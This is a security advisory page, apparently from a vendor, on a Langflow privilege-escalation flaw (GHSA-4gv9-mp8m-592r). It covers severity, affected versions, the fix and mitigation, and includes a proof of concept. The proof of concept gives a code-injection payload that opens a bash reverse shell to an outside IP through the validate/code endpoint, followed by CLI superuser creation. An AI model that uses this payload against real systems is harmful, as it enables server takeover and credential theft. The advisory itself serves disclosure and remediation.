GHSA-4gv9-mp8m-592r is a high-severity (CVSS 8.8) Improper Privilege Management vulnerability in langflow. A fix is available for langflow — see the affected versions and patch details below.
Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4gv9-mp8m-592r.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4gv9-mp8m-592r plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
langflow🐍langflow-baseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.
Summary
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.
Details
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:
langflow superuser
This command allows creation of a new superuser without checking whether one already exists.
When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:
/app/.venv/bin/langflow superuser
inside the container, and elevate themselves to full superuser privileges.
This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.
PoC
- Start container with LANGFLOW_ENABLE_AUTH set to True.
- Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
- Exploit /api/v1/validate/code to get reverse shell
Send an authenticated POST request:
{
"code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass"
}
- Inside reverse shell, create superuser:
- Log into UI as new superuser:
Impact
- Privilege escalation to superuser — complete takeover of the Langflow instance
- Access to all user data, flows, stored credentials, and configuration
- Credential leakage — attacker can extract third-party API keys
- Exposure of environment variables (inside docker container)
- Ability to run additional Langflow instances via
langflow runinside the container, which may lead to resource exhaustion (CPU, memory) and service degradation. - Full user management — superuser can delete other users, reset their passwords
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.5.1pip install --upgrade 'langflow==1.5.1' |
| 🐍PyPI | langflow-base | all versions | 0.5.1pip install --upgrade 'langflow-base==0.5.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langflow to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4gv9-mp8m-592r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4gv9-mp8m-592r can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4gv9-mp8m-592r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4gv9-mp8m-592r in your dependencies?
O3 Security finds GHSA-4gv9-mp8m-592r across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.